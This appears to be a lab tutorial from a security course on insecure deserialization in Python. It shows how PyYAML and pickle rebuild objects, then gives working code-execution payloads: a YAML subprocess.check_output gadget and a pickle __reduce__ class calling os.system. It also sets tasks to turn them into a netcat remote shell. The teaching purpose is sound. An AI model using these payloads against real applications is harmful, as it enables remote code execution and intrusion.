Insecure Deserialization: Examples
In the previous section we introduced Insecure deserialization. Now we will example some practical examples, discuss some payloads, and see the impact of the attack.
Example: PyYaml
YAML1 (Yet Another Mark-up Language) is a common text based serialisation
language. There are YAML parsers for most popular programming languages
(python, PHP, JavaScript etc). We have been using examples of YAML throughout
the course in the docker-compose.yaml
files.
YAML is also a superset of JSON, with the ability to create new objects through
introspection.
PyYaml is a python parser for YAML files. It is commonly used to load configuration information.
Taking a look at the PyYAML homepage we can see a warning about not trusting user input with certain methods.
Note
This is common to most YAML interpreters (and is a critisim of the language) The ablility to construct objects is really useful, so should be included.
However, its also dangerous, if we run untrusted data through it.
Its a good ballance keeping the functionality, offering a safe method and sticking a Big Red Warning(TM) in the source code.
PyYaml Working properly.
Lets take a look at PyYAML working properly.
Note
You can find a copy of the code in the 6005 Codebase Repo
The First code Example, creates a user object, and dumps it as a YAML string
import yaml
class User:
def __init__(self, name, email, data=None):
"""
Create a User
Optional Data
"""
self.name = name
self.email = email
self.data = data
def dumpUser():
"""Example 1 Create and Dump a user"""
theUser = User("Dang", "Dang@evil.org")
#Turn the User into YAML
out = yaml.dump(theUser)
print(out)
Running the Code gives us the following output.
!!python/object:__main__.User
data: null
email: Dang@evil.org
name: Dang
-
!!python/object:__main__.User
Tells the parser, the the next set of data is an python object of type user
-
email: Dang@evil.org
andname: Dang
The next lines give the parameters of the object.
Now the interesting part of this is the !!python/object
bit.
This tells the processor that we are dealing with an object, and gives us
some idea of how to reconstruct it.
the restoreUser()
function shows us how we can get our user back from the
string
def restoreUser():
"""Example 2:
Demonstrate how to restore a user
"""
theStr="""
!!python/object:__main__.User
data: null
email: Dang@evil.org
name: Dang
"""
theUser = yaml.load(theStr)
print(theUser)
Breaking YAML
Important
Some of this is fixed in pyyaml > 5.2
However, while the safe loader is better behaved (ie it wont create objects using the global scope)
Now we know how the YAML formatting works, lets see how to break it.
We know that we can supply Objects using !!python
syntax
So our question now becomes "what kind of objects can we reconstruct" The answer here depends on what is available within pythons global namespaces.
If the python interpreter knows about a module, then the YAML interpreter is able create new items of that type.
Danger
This includes modules imported by the yaml parser.
The Subprocess module is one of these which can let us System commands Thus RCE shouldnt be too difficult
For example Lets mangle the yaml payload so we display the current username.
For this we can use the built in whoami
command
evilStr = """
!!python/object:__main__.User
data: !!python/object/apply:subprocess.check_output ['whoami']
email: dang
name: dang
"""
out = yaml.load(evilStr, Loader=yaml.Loader)
print(out.data)
b'kali\n'
Task
We have seen how we can run system commands using the YAML parser. Try to get a remote shell betwen you systems. Netcat should help you here.
Tip
We can use the python interpreter to help us work out our payloads
For example to create an object that sleeps for N seconds when
#Load an object with our desired payload
import time
user = User("dang","dang", time.sleep )
#Dump it.
print(yaml.dump(user))
!!python/object:__main__.User
data: !!python/name:time.sleep ''
email: dang
name: dang
Abusing Pythons Pickle Objects
Pickle is pythons own serialisation format, and is used to convert python objects into byte steams for transmission between devices.
Lets take a quick look at the pickle process for our user class
import pickle
import os #Import OS for a demo
class User:
def __init__(self, name, email, data=None):
"""
Create a User
"""
self.name = name
self.email = email
self.data = data
def __str__(self):
"""Print the User"""
return "User: {0} {1} {2}".format(self.name,
self.email,
self.data)
if __name__ == "__main__":
#Create a user
theUser = User("dang", "dang@evil.org")
#Pickle him
out = pickle.dumps(theUser)
print(out)
#Reload the object using the string we just created
newUser = pickle.loads(out)
print(newUser)
As you can see when you run the code, python is able to load the data from the string and presents us with a copy of the object.
Abusing Pickle
Next lets see how we could abuse pickle for fun and profit.
Like YAML by default pickle knows about objects in our namespace, and is able to recreate objects that it knows about.
This means that we could (if the right imports are there), create a malicious payload, then pass it to the loader to execute commands.
Our first way of doing this is to create our own command, then have it execute the payload. We know from the Remote Code Execution that pythons os.system can let us run Operating system level commands. So we create a new malicious object that looks something like this.
Note
There is a bit of python magic going on here.
The reduce method is used internally by pickle to serialise the object.
By speficing our system command as a payload, we tell pickle to run it when it comes to serialising the code
class EvilClass:
def __reduce__(self):
import os
return (os.system, ('whoami',))
Now when we de-pickle the file, we get code execution
payload = EvilClass()
saveObject("evil.pkl", payload)
#Now load the evil class
print ("Loading our Evil Class")
out = loadObject("evil.pkl")
>>> kali
Task
The code example above just displays the users name. Modify the example to get a remote shell (Netcat will help)
Further Reading
Insecure Deserialization in Node Js https://medium.com/@chaudharyaditya/insecure-deserialization-3035c6b5766e